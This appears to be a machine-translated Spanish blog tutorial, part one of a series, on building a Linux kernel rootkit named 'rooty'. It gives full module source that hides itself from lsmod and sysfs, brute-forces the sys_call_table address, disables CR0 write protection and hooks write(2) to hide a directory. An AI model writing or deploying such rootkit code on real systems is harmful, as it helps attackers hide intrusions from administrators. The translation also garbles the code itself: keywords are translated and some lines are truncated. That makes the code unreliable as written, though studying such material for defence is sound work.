modernos Linux Rootkits 101
Tyler Borland (TurboBorland)
Introducción a Linux Rootkits
Se me dijo que hacer una presentación sobre el malware para el trabajo, así que decidí hacerlo por escrito rootkits Linux desde cero. Tuve suficiente gente interesada en el tema, a pesar de que hay una gran cantidad de trabajo ya que cubre esto, que me pareció que acababa de divulgarla para el consumo público. Este post va a ser parte de una serie de tres partes que evoluciona el rootkit a los estándares modernos / apropiados de rootkits para Linux hoy. Esta primera parte es más sobre el desarrollo general de rootkit y prácticas en Linux en lugar de procesos de manera adecuada se esconden, los archivos, y el tráfico de red. Sin embargo, se sentarán las bases para nuestro desarrollo futuro.
Parte 1
La primera parte de la serie es la construcción de un rootkit muy simple para los kernels modernos 3.x (trabajará en 2.6.x ) con 32 y el apoyo de 64 bits. Vamos a cubrir un área pequeña del piloto de desarrollo / LKM (módulos del kernel cargables), llamadas al sistema, el descubrimiento y la comprensión de cómo funcionan realmente las cosas con las partes internas de Linux, y cómo secuestrar sistema llama apropiadamente. La idea es darle suficiente información y el conocimiento para expandir el rootkit para hacer lo que usted necesita. Nuestro código final de la primera parte dará una plantilla fácil de utilizar para un método simplista de ocultar un directorio mediante el secuestro de la escritura (2) llamada al sistema. Este vendrá con muchos problemas hasta que nos adentramos en el mundo de VFS. Por ahora, sin embargo, conduce a la idea.
Esto no es un juego de espacio de usuario. Como tal nos quedaremos en el núcleo y no dará cobertura a la función de biblioteca compartida secuestro con (g | e) libc usando LD_PRELOAD.
Start Your Drivers
Una plantilla de conductor es tan simple como una plantilla normal del programa C con algunas adiciones. Un controlador requiere una module_init (), module_exit (), una MODULE_LICENSE (), y un par de archivos de cabecera para empezar. Nombré el rooty rootkit, así que ese convenio se mantendrá. He aquí un simple esqueleto para el conductor:
# include
# include
# include
MODULE_LICENSE ("GPL");
int rooty_init (void);
vacío rooty_exit (void) ;
module_init (rooty_init);
module_exit (rooty_exit);
int rooty_init (void) {
printk ("rooty: módulo cargado n");
return 0;}
vacío rooty_exit (void) {
printk ("rooty: Módulo eliminado n");}
Este módulo se imprimirá «rooty: módulo cargado» en el búfer de anillo del núcleo cuando se inicia y «rooty: Módulo eliminado» cuando se retiran. Vamos a llegar a conseguir esto en el sistema en un momento.
Makefile
Un Makefile es utilizado para la compilación del módulo. Es un par de pasos que normalmente la compilación de un archivo, pero aún así es fácil. Aquí está nuestro makefile:
small;"> style="font-size: Obj-m: = rooty.o
KERNEL_DIR = / lib / modules / $ (shell uname-r) / construcción
PWD = $ (PWD shell)
todo:
$ (MAKE)-C $ (KERNEL_DIR) SUBDIRS = $ (PWD)
limpia:
rm -rf *. o *. ko *. symvers *. mod. **. orden
Obj-m se usa para indicar que estamos creando un módulo de objeto. Ahora podemos usar make para compilar o make clean para eliminar los archivos generados por el proceso de compilación.
Inserción y extracción de módulos
Este es otro proceso fácil. Nosotros vamos a usar dos comandos para insertar y retirar nuestros módulos del kernel. En primer lugar es insmod, que significa módulo de inserción. El archivo que queremos incluir es rooty.ko. KO es sinónimo de objeto de núcleo y, desde 2.6, se utiliza para diferenciar a partir de archivos de objetos regulares y han ampliado la información en el módulo. Ahora, simplemente rooty.ko insmod y, si no hay perdón, hay que ser bueno para ir. Compruebe mirando el anillo de kernel búfer de mensajes con dmesg. dmesg | grep rooty. Usted debe ver el mensaje sobre el módulo de salida.
Por supuesto, la eliminación de un módulo es igual de fácil. rooty.ko rmmod. Una vez más, podemos comprobar si funcionaba mirando el búfer de mensajes del núcleo. dmesg | grep rooty y usted debe ver el módulo descargado.
Es importante tener en cuenta que hay intentos de evitar el tiempo de ejecución de la nueva carga de LKM. Usted puede hacer esto mediante el establecimiento de la bandera en / proc / sys / kernel / modules_disabled. No habrá hablado mucho de pasar por que en esta primera parte, pero vamos a mirarlo y conseguir alrededor de él en la parte 3.
Ocultando El módulo
Ahora que hay un módulo de la plantilla y está funcionando, el módulo debe ser escondido antes de hacer nada. Hay dos lugares principales que tenemos que cuidar. La primera es / proc / modules y el otro es / sys / módulo /. El anterior es lo que se utiliza por lsmod (para listar los módulos en un sistema) y es básicamente una lista de los módulos, su estado actual, y la dirección de memoria. Este último se utiliza para obtener información sobre los objetos del núcleo cargados y contiene información como argumentos
Para empezar, queremos escondernos de el método más común de descubrir los módulos en el sistema, lsmod. Como decía al principio, lsmod trabaja mirando el archivo / proc / modules. Para ello llamamos a la función list_del_init on & __this_module.list. Esta función llama a __ list_del_entry ya a __ list_del que apunta punteros anterior y siguiente de la entrada a la siguiente y anterior del anterior y siguiente punteros. Suena raro, pero el código habla más fácil que las palabras:
void static inline __ list_del (struct list_head * anterior, struct list_head * siguiente)
{
siguiente-> prev =;
anterior-> siguiente = siguiente;}
>Después de esto se reemplaza, la lista se reinicia con INIT_LIST_HEAD (entrada), que también tiene un fácil de entender el código:
small;"> style="font-size: inline void INIT_LIST_HEAD (struct list_head * lista)
{
lista-> siguiente = lista;
lista-> prev = lista;
}
Ahora que la lista de / proc / modules se maneja, / sys / / módulo es el siguiente. Una vez más, esto se utiliza para la información objeto de núcleo. Este es otro chiste fácil. La función utilizada es kobject_del y nosotros, una vez más, su uso sobre y THIS_MODULE y señalar a la kobj. Esta función simplemente elimina la entrada de la VFS con sysfs_remove_dir (kobj). Con estas dos funciones, nuestro rooty_init ahora debería quedar así:
int rooty_init (void) {
list_del_init (& __this_module.list);
kobject_del (& THIS_MODULE-> mkobj.kobj);
printk ("rooty: módulo cargado n");
return 0;}
Debemos verificar que después de esto se hace, no vemos el módulo. Puede hacerlo mediante la comprobación lugares donde esta información se presentaba:
grep Rooty / proc / modules
ls / sys / modules | grep rootymodinfo rooty modprobe -c | grep rooty
grep Rooty / proc / kallsymspueden existir otras entradas en los sistemas y se puede comprobar que existe, pero esto debe hacerse cargo de ellos. Esto también significa que las herramientas normales como rmmod no será capaz de encontrar y extraer el módulo cuando se está actualizando. Debido a esto es mejor prueba de que funciona y luego comente estas dos líneas hasta que el producto está terminado.
para hacer el mal
Con el módulo escondido fuera del camino, ¿qué debemos usar el rootkit para? En general, el propósito principal es ocultar las cosas que suceden. Desde la clandestinidad de un proceso para exfiltrating información silencio. Para ello suele haber una interfaz hecha a un proceso para que puedan utilizar la funcionalidad de rootkit. Muchas veces se puede ver esto con argumentos irregulares a una llamada al sistema un proceso que hace que el rootkit ha enganchado. Esto desencadena una puerta al rootkit, como nos hemos conectado, y ocultará las actividades del proceso. Sin embargo, como esto es sólo un rootkit 101, vamos a utilizar en su lugar el rootkit para ocultar un directorio. Esto no va a ser el mejor método ni un método que debe utilizar nunca, pero le dará una plantilla para qué llama sistema de secuestro, encontrar las apropiadas para secuestrar, y su gestión.
sistema llama
sistema de Entendimiento llamadas es un requisito fundamental de la forma en que el sistema operativo funciona realmente y cómo nuestro rootkit funcionará. No vamos a entrar en detalles aquí sobre la forma en que se implementa como eso es un artículo completo en sí mismo. En su lugar, vamos a tratar de dar una breve reseña de lo que son. Las llamadas al sistema son cómo los programas interactúan con los servicios del núcleo. Cubren todas las operaciones de control de procesos, gestión de archivos, gestión de dispositivos, gestión de la información y la comunicación (es decir kernel planificador). En el modo protegido, el núcleo decide en un conjunto de llamadas al sistema y su implementación. Es por esto que los números de llamada del sistema no son unversal entre sistemas operativos como Mac y Linux, o incluso la arquitectura-a gota con 32 y 64 bits.
La definición de los números decimales a sus valores en función de llamadas del sistema se encuentran en unistd.h. Este archivo se ifdef, ya sea para 32 o 64 bits de arquitectura. Veamos un pequeño ejemplo de cómo esto se presenta con unistd_64.h:
head-n 15 / usr/include/asm/unistd_64.h
# ifndef _ASM_X86_UNISTD_64_H
# definir _ASM_X86_UNISTD_64_H 1# define __ NR_read 0
# define __ NR_write 1
# define __ NR_OPEN 2
# define __ NR_close 3
# define __ NR_stat 4
# define __ NR_fstat 5
# define __ NR_lstat 6
# define __ NR_poll 7
# define __ NR_lseek 8
# define __ NR_mmap 9
# define __ NR_mprotect 10
# define __ NR_munmap 11 />
Si usted no sabe lo suficiente acerca de las llamadas al sistema, que sería mejor para leer más sobre cómo funcionan antes de continuar. Algunas buenas fuentes son:http://en.wikipedia.org/wiki/System_call http://www.ibm.com/developerworks/library/l-system-calls/
Usando Strace
Strace, o el sistema de rastreo de llamadas, es una herramienta para hacernos saber qué tipo de llamadas al sistema están siendo utilizados por un programa o proceso. Porque queremos ocultar directorios con nuestro rootkit, que sería mejor para entender cómo las herramientas como ls trabajan en segundo plano. Para ello basta con emitir strace / bin / ls. Esto nos proporciona una salida adelgazado y despojado. Para una carrera de salida más detallada strace-v-s archivo 1024-o / bin / ls. Esto hará que strace para ser prolijo, aumentar límite de la cadena por defecto, y escribir en un archivo llamado 'archivo'. Inicialmente hay un montón de cosas que suceden. Por lo general, buscar camino comprobación de archivos y un montón de gestión de memoria para asignaciones de objetos compartidos. Sin embargo, vamos a ver las piezas importantes después de esta configuración y descubrimiento ha completado:
abrirEn ("." AT_FDCWD,, O_RDONLY | O_NONBLOCK | O_DIRECTORY | O_CLOEXEC) = 3
getdents (3, / * 110 entradas * /, 32.768) = 3,656 fstat />
de escritura (1, "valores")Esta es una información muy útil, pero tal vez no tanto, si usted no está familiarizado con lo que estas llamadas hacen. Afortunadamente, bash es un IDE increíble. Si el hombre el hombre que se ve que el hombre tiene un gran potencial para la comprensión de las funciones y las llamadas al sistema, junto con el uso más conocido de los programas. Si usted fuera al hombre 2 system_call_name, se puede ver casi todo lo que quieras saber. Tenemos una descripción, argumentos, tipos, usos, y más fácilmente disponible. Vamos a seguir adelante y mirar el sistema anterior llama para que podamos entender exactamente lo que está sucediendo con / bin / ls.
man 2 abrirEn
Lo vimos la salida de strace:
abrirEn (AT_FDCWD,, O_RDONLY "." | O_NONBLOCK | O_DIRECTORY | O_CLOEXEC) = 3
Ahora, algunas descripciones de man 2:
abrirEn - abrir un archivo con respecto a un descriptor de fichero del directorio
int abrirEn (int dirfd, const char * pathname, int flags);
Si pathname es relativo y dirfd es la AT_FDCWD valor especial, y luego ruta se interpreta relativo al directorio de trabajo actual del proceso de llamada (como open (2)) .La última pieza es importante para lo que vimos. Si la ruta de acceso es la corriente descriptor de fichero del directorio, que un "." se utiliza en lugar de llenar en el nombre de ruta completo. Así que cuando nos hacemos ls en el directorio actual, que nos gustaría ver., De lo contrario nos veríamos la ruta completa.
hombre 2 getdents
Lo que vimos:
getdents (3, {{d_ino = 8388618, d_off = 1423698410932293507, d_reclen = 32, d_name = "Makefile"} {d_ino = 8259181, d_off = 6310268130706029514, d_reclen = 24, d_name = ".."} {d_ino = 8462618, d_off = 6672836733886815036, d_reclen = 24, d_name = "." } {d_ino = 8426830, d_off = 9223372036854775807, d_reclen = 32, d_name = "rooty.c"}}, 32768) = 112 />
int getdents (unsigned int fd, struct linux_dirent * dirp, unsigned int count);Esto parece tranquilo confuso, sobre todo porque no es lo que se podría pensar al leer "conseguir las entradas de directorio". Lo que en realidad estás viendo aquí es la información sobre el sistema de archivos virtual. La razón de hacer esto es para los otros switches como ls-i. Vamos a entrar en este tipo de información con mucho más detalle en la parte 2. Para esta parte, nos centraremos en la siguiente llamada al sistema.
man 2 fstat
La salida que hemos recibido:
fstat (1, {dev_t = makedev (0, 10), st_ino = 10, st_mode = S_IFCHR | 0620, st_nlink = 1, ST_UID = 1,000, st_gid = 5, st_blksize = 1,024, st_blocks = 0, st_rdev = makedev (136, 7), st_atime = 2013/09/19- 11:34:24, st_mtime = 2013/09/19-11: 34:24, st_ctime = 2013/09/19-11: 15:42}) = 0
Pequeños trozos de información de Hombre 2: />
int fstat (int fd, struct stat * buf);Esto es mucho más fácil de entender como rasgos comunes de los archivos en el sistema de archivos. Aquí tenemos su UID genérico, gid, tamaños, marcas de tiempo, y etc
man 2 write
La salida:
write (1, "Makefile rooty.c n", 18Makefile rooty.c) = 18
Esto simplemente escribe la salida analizada en el descriptor de fichero dado. Aquí vemos a 1, que está fuera o stdout estándar. Los otros valores comunes son 0 para la entrada estándar y 2 para stderr.
Putting The Picture Juntos
Con una nueva comprensión sobre cómo funcionan estas funciones, vamos a poner todo junto para entender cómo funciona ls con llamadas al sistema para mostrar la inormation. Comienza con abrirEn para abrir un descriptor de archivo con el directorio dado, que era actual (.) En nuestro caso. Luego agarra la información sobre cada uno de los archivos / directorios en el directorio dado utilizando getdents y fstat. Getdents retriveving información sistema de archivos virtual, como el número de inodo y nombre. Fstat recuperación de información común, como las marcas de tiempo, valores de privilegios, el tamaño del bloque, y etc Por último, tomamos los valores analizados del programa y les escribe a la salida estándar pantalla del terminal.
Con esto en mente, ¿cuál es el mejor lugar para nosotros para secuestrar a ocultar un directorio dado? Realmente sería funciones del sistema de archivos virtual en lugar de las llamadas al sistema, sin embargo, que el código es un poco más complicado y complicado que simplemente secuestrar una llamada al sistema. En su lugar, vamos a secuestrar la llamada al sistema de escritura y analizar los valores de retorno de modo que no muestra nuestro directorio.
sys_call_table
Ahora, con el fin de apropiarse de una llamada al sistema y el punto a nuestra propia función, es necesario saber en qué parte de la memoria de la corriente existe puntero. En la memoria del núcleo hay una estructura que contiene los valores de puntero de todo, la ubicación de llamadas al sistema. Esta estructura es bien llamado sys_call_table. Si podemos encontrar esta base, podemos utilizar un desplazamiento de la función de secuestro deseado para sobrescribir el puntero con los nuestros. Sin embargo, un problema surge con esto y que no es tan fácil como parece.
Desde los núcleos del 2.6.x, el símbolo sys_call_table ya no se exporta. Así que no se puede simplemente utilizar el valor de símbolo para hacer referencia a la posición de memoria donde se encuentra esta mesa. Esto se utilizó como un mecanismo para prevenir rootkits en el momento. Curiosamente, varios kernels modernos se compilan con KALLSYMS_ALL, lo que significa que todas las direcciones de símbolos se muestran independientemente de que sean exportados o no. Esto permite a un atacante simplemente grep sys_call_tab / proc / kallsyms. Esto no es una solución universal, sin embargo, como no todos los granos son compilados con / proc / kallsysms. Entonces, ¿cómo averiguar dónde se encuentra este sys_call_table utilizarlo si el medio ambiente no nos va a decir?
Finding sys_call_table
Hay tranquilos un par de trucos de fantasía que hay para descubrir la ubicación de la tabla. Algunos de los más populares y de uso frecuente en los rootkits recién descubiertos en la naturaleza, se grepping mediante el fichero System.map o vía / proc / kallsyms. Más popular del estilo de las técnicas de avance es el uso de la tabla de descriptores de interrupción (sidt) para encontrar la trampa de interrupción puerta llamada al sistema (int 0x80 en x86_32 o la ia32_sys_call_table en x86_64) para la ubicación. Esto se utiliza generalmente junto a un MSR x86_64 (registro específico de la máquina) para el soporte de 64 bits para el sys_call_table x86_64 (no el emulado ia32_sys_call_table como fue completado por el método de IDT). x86_64 apoya el MSR MSR_LSTAR que devuelve el largo sys_call_table x86_64. Usted sólo puede usar rdmsrl (MSR_LSTAR, syscall_long);, donde syscall_long es sólo un largo sin signo y ahora tendrá el valor de la tabla syscall. Muy simple!
Eso no es la forma en que vamos a encontrar con el primer equipo, sin embargo. Usaremos un no tan atractivo, pero completamente funcional a pesar de las diferentes arquitecturas y de la CPU que se utiliza, la técnica de fuerza bruta. La idea básica de que es definir un rango de memoria de núcleo que el sys_call_table puede mentir pulg Podemos comparar el puntero con un símbolo que se exporta como sys_close. Ahora, podemos utilizar unistd.h para denotar el valor de desplazamiento __ NR_close de nuestro puntero base. Esta defintion es:
# define __ NR_close (__NR_SYSCALL_BASE + 6)
Esta nos permite utilizar __ NR_close como un desplazamiento de nuestro puntero apropiado. Cuando nuestro puntero + desplazamiento coincide con el valor sys_close, hemos encontrado éxito el sys_call_table en la memoria del kernel. Si no es así, sólo aumentará en un tamaño de puntero y vuelva a intentarlo. Si bien esto suena como que tarda una eternidad, en realidad no es.
Así que, ¿qué rangos debemos usar para 32 y 64 bits? Bueno, esto es lo que usamos:
# if defined (__i386__)
# define START_CHECK 0xc0000000
# define END_CHECK 0xd0000000
typedef unsigned int psize;
# else
# define START_CHECK 0xffffffff81000000
# define END_CHECK 0xffffffffa2000000
typedef psize largo sin firmar;
# endif />
Los rangos de partida son el kernel linux obvio puntos de entrada. Las ubicaciones finales son el comienzo para el mapeo de dispositivos IO. Dada esta gama, el proceso real de fuerza bruta no toma mucho tiempo. Ahora, sin más preámbulos, aquí está el código:psize />
psize ** find (void) {
psize ** sctable;
psize i = START_CHECK;
while (isctable = (psize **) i;
if (sctable [__NR_CLOSE] = = (psize *) sys_close) {/>
i + = sizeof (void *);}
retorno NULL;
}
Podemos comprobar si esto funcionaba añadiendo un poco de código en nuestro rooty_init. Usaremos algo como:
if (sys_call_table = (psize *) encontrar ()) {
printk ("rooty: sys_call_table que se encuentra en% p n ", sys_call_table);
} else {
printk (" rooty: sys_call_table no encontrado n ");}
Ahora, después de una nueva marca, cuando insertamos el módulo podemos ver la dirección que considere la sys_call_table establece mediante dmesg | grep rooty. Entonces, validarlo contra la entrada en grep sys_call_table / proc / kallsyms, asumiendo que su kernel está compilado con KALLSYMS_ALL. Usted debe ver la tabla válida encontrándose incluso en un hipervisor. El único problema aquí es que no comprueban ia32_sys_call_table para la tabla de llamadas al sistema de 32 bits emulados bajo una arquitectura x86_64. Todo depende de que el lector de expandirse en este caso necesario. No te preocupes, no es difícil.
Registro de control
Con el sys_call_table ubicado y el desplazamiento conocido, vamos a querer seguir adelante y escribir nuestro nuevo puntero sobre el puntero actual en la tabla. Otro problema surge. Una vez más, desde 2.6.x kernels un nuevo sistema de seguridad se introdujo. Esto marcaba la tabla como protegida contra escritura (sólo lectura) como asegurado por la propia CPU. Esto es un poco que no nos permiten escribir en la tabla durante la ejecución. El bit WP es controlada por el registro CR0 de control. Este registro contiene toda clase de valores interesantes, como el control de paginación, el almacenamiento en caché y el modo aun protegida. El bit WP es en realidad el bit 16 del registro cr0 y podemos manipularla por algunos bitmasking simple. Hay dos macros de C definidos para la escritura y la lectura de este registro cr0 que se llama apropiadamente read_cr0 () y write_cr0 (). Así que, vamos a desactivar el bit WP en cr0:
write_cr0 (read_cr0 () y (~ 0x10000));
Leer en el valor actual y cr0 Y con éstos NO bytes. Esto convierte efectivamente el bit de 16a en un 0. Aquí nos secuestrar los punteros de la tabla que queremos y el girar la broca hacia atrás con WP:
write_cr0 (read_cr0 () | 0x10000);
El Secuestro de escritura
Ahora que sabemos que existe la sys_call_table, y podemos escribir en él, es el momento de secuestrar escritura con nuestra propia función de escritura. Primero vamos a querer guardar una copia de la escritura original, para pasar los datos fuera de y restaurar cuando se descarga el módulo. Para ello, simplemente utilizaremos la función () xchg y el intercambio de los dos punteros (vamos a definir rooty_write en un poco):
o_write = (void *) xchg (& sys_call_table [__NR_write] , rooty_write);
Vamos a la configuración de una función que será capaz de manejar los datos de escritura, analizarlo, y devolver el originaldata si no tenemos razón alguna para filtrar los datos que llegan a través del gancho. Recuerde que el hombre 2 escritura nos permitirá saber cómo está implementado ya con:
ssize_t write (int fd, const void * buff, recuento size_t);
Nuestra versión de este será bastante similar. asmlinkage va a tener que ser utilizado por lo que el compilador sabe que los argumentos se encuentran en la pila para x86_32. Esto evitará clobbering u otros problemas de compilación con argumentos entregando a la función. Esto se relaciona con gcc como se define como:
# ifdef CONFIG_X86_32
# define CPP_ASMLINKAGE asmlinkage __ attribute__ ((regparm (0)))El búfer también se va a ser aprobada en la memoria de espacio de usuario, carbón de leña de manera const __ usuario * buff será utilizado para agarrar stringbuffer userland. Por último, vamos a escribir nuestra función de gancho:
asmlinkage ssize_t rooty_write (int fd, const char * __ usuario buff, recuento size_t) {
int r / * return * /
caracteres proc_protect = "rooty."; / * nombre del directorio para proteger * /
caracteres * kbuff = (char *) kmalloc (256, GFP_KERNEL); / * asignar memoria del kernel para memoria de espacio de usuario * /
copy_from_user (kbuff, piel de ante, 255); / * copia la memoria de espacio de usuario para la asignación de memoria del núcleo * /
if (strstr (kbuff, proc_protect)) {/ * Por qué el memroy búfer de escritura contiene el nombre del directorio protegido * /
kfree (kbuff); / * Luego liberarlo * /
/ * No mostrar ls escriben error con ENOTDIR / ENOENT * /
r = o_write (fd, buff, count);; /> volver EEXIST / * De lo contrario, devolver los datos de llamada original sistema de escritura * /
}
Hay un matiz aquí que cuidamos con el nombre del directorio. El uso de ls Regular escriba realmente múltiples entradas con una llamada de escritura. Así que si nos kfree () porque el búfer contiene la denominación protegida, estaremos liberando más de lo que queríamos y causar problemas. Sin embargo, cuando ls se utiliza con otras banderas que producen más información por entrada, una memoria intermedia de entrada se utiliza por llamada escritura. Por lo tanto, lo escondemos a partir de datos ls normales mediante un archivo. delante del nombre, que no se muestra hasta que se utiliza la opción-a, que no ignora los valores que comienzan con un punto. Esto también tendrá el efecto secundario de ocultar el nombre. Rooty de otras herramientas. Por ejemplo, un proceso llamado. Rooty no será visible en herramientas como lsof, parte superior, y ps adecuadamente.
Extender el Rootkit
Con el esqueleto rootkit organizada y un ejemplo de llamadas al sistema secuestrado, es su trabajo para extender las capacidades del kit de secuestro de otro sistema llama. Por ejemplo, ¿qué pasa con negar los cambios de directorio en el directorio protegido, negando la capacidad de eliminar el directorio, y etc Llegar a entender cómo este tipo de estilo funciona porque vamos a estar cambiando drásticamente en la parte 2.
Preparándose para la Parte 2 - VFS Style
Este tipo de rootkit tiene un par de temas tranquilos y no son exactamente Eligent / apropiado hacer la mayor parte del trabajo que nos gustaría hacer. Así que en la siguiente parte de esta serie vamos a ir sobre el secuestro de funciones VFS como readdir / filldir. Esto nos permitirá, por ejemplo, ocultamos directorios para reales y no sólo manipular los datos escritos en un descriptor de archivo indicado. Para prepararse para esto, sería mejor para entender el sistema de archivos virtual y cómo funciona.
código final
# include
# include
# include
# include
# include
# include
# include
# include
MODULE_LICENSE ("GPL");
int rooty_init (void);
vacío rooty_exit (void);
module_init (rooty_init) ;
module_exit (rooty_exit);
# if defined (__i386__)
# define START_CHECK 0xc0000000
# define END_CHECK 0xd0000000
typedef unsigned int psize;
# else
# define START_CHECK 0xffffffff81000000
# define END_CHECK 0xffffffffa2000000
typedef psize largo sin firmar;
# endif
asmlinkage ssize_t (* o_write) (int fd, const char * __ usuario buff, recuento ssize_t);
psize * sys_call_table;
psize ** find (void) {psize />
psize i = START_CHECK;
while (isctable = (psize **) i;
if (sctable [__NR_close] == (psize *) sys_close) {
return & sctable [0];}
i + = sizeof (void *);}
retorno NULL;}
asmlinkage ssize_t rooty_write (int fd, const char * __ usuario buff, recuento ssize_t) {
int r;
char * proc_protect = "rooty.";
char * kbuff = (char *) kmalloc (256, GFP_KERNEL);
copy_from_user (kbuff, piel de ante, 255);
if (strstr (kbuff, proc_protect)) {
kfree (kbuff);
retorno EEXIST;
}
r = (* o_write) (fd, buff, count);
kfree (kbuff);
r retorno;}
int rooty_init (void) {
/ * Hacer módulo kernel escondite * /
list_del_init (& __this_module.list);
kobject_del (& THIS_MODULE-> mkobj.kobj);
/ * Obtener la dirección sys_call_table en la memoria del núcleo * /
if ((sys_call_table = (psize *) find ())) {
printk ("rooty: sys_call_table encontrado en% p n ", sys_call_table);
} else {
printk (" rooty: sys_call_table no se encuentra, abortando n ");}
/ * deshabilitar protección contra escritura en la página en cr0 * /
write_cr0 (read_cr0 () y (~ 0x10000));
/ * Funciones de secuestro * /
o_write = (void *) xchg (& sys_call_table [ __NR_write], rooty_write);
/ * devuelve sys_call_table al WP * /
write_cr0 (read_cr0 () | 0x10000);
return 0;
}
vacío rooty_exit (void) {
write_cr0 (read_cr0 () y (~ 0x10000));
xchg (& sys_call_table [__NR_write], o_write);
write_cr0 (read_cr0 () | 0x10000);
printk ("rooty: Módulo descargado n");}
Y si usted tiene algún problema con la comprensión del código, por favor vuelva a leer este post. La presentación original que hice para esto también está disponible en:
https://docs.google.com/file/d/0ByaHyu9Ur1vidXVnUGVtNjlDMWM/edit?usp=sharing